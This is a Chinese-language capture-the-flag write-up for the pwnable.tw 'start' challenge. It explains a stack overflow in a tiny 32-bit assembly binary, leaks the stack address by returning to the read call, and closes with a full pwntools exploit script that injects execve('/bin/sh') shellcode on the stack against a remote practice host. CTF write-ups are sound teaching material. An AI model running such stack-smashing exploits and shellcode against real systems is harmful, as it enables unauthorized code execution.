32位程序,保护全关,应该是用汇编写的,就只有_start和_exit两个函数。
首先是向栈中push一个字符串,然后输出该字符串后再向栈中输入0x3c个字符。注意在read的时候并没有设置ecx,所以这个时候ecx仍然等于esp,所以就是直接向栈上写入0x3c个字符。
这里很明显有栈溢出,因为我们可以看最后的返回语句:
.text:08048099 83 C4 14 add esp, 14h
.text:0804809C C3 retn
将栈抬升0x14后直接ret,这里ret的值就是最开始push的_exit,所以我们可以直接覆盖返回地址。由于没有开启NX保护,所以可以先泄漏栈地址,然后直接往栈上写入shellcode即可。
那么如何泄漏栈地址呢?注意到最开始的时候是把esp的值给push到了栈中,而且刚好在_exit后面。
—————————— <=== esp
0x14
——————————
_exit
__________________
old_esp
__________________
所以我们可以先将返回地址_exit给覆盖为0x08048087,这样就会再一次调用read函数,而这里ecx是等于esp的,此时栈布局如下:
——————————<=== esp
old_esp
__________________
那么就可以泄漏栈地址了,然后再向栈上写入shellcode并返回到栈上执行即可。
from pwn import *
context(arch = "i386", os = "linux", endian = "little")
context.terminal = ['tmux', 'splitw', '-h']
#io = process("./start")
#io = remote("chall.pwnable.tw", 10000)
io = remote("node4.buuoj.cn", 28734)
#gdb.attach(io, 'b *0x8048097')
pay = b'A'*0x14 + p32(0x08048087)
io.sendafter(b'CTF:', pay)
stack = u32(io.recv(4))
print(hex(stack))
shellcode = asm("""
mov eax, 11
mov ebx, {0}
xor ecx, ecx
xor edx, edx
int 0x80
""".format(stack))
print(shellcode)
pay = b'A'*4 + b'/bin/sh\x00' + b'A'*(0x14-8-4) + p32(stack+0x14) + shellcode
print(hex(len(pay)))
io.send(pay)
#pause()
io.interactive()